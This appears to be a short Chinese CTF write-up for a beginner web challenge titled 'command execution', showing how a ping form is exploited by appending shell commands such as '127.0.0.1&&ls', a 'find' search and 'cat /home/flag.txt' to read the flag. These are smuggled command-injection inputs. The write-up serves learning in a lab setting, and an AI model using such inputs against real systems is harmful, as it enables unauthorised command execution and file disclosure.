攻防世界web新手区the writeup of “command execution”

题目考察知识点:①pingwaf概念②Linux中的**“find”“cat”指令③Linux中的“|”“&”使用。
打开地址环境。
根据题目中关键词①
“ping功能”和“waf”** ② “command execution”
可推测该题与命令执行以及漏洞有关。输入本机地址127.0.0.1
在这里插入图片描述
然后输入**“127.0.0.1&&ls”查看一下目录文件。
在这里插入图片描述
再输入
“find”指令瞄瞄有没有和“flag”沾丢丢边的文件
输入“127.0.0.1&& find /-name"*.txt"
在这里插入图片描述
嗯~ o( ̄▽ ̄)o 差不多了。我们再用
cat打开,就over了。
输入
127.0.0.1&& cat /home/flag.txt**
在这里插入图片描述
最后找到flag(在最后面)。
写writeup不易,点个赞吧 o( ̄▽ ̄)o~

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值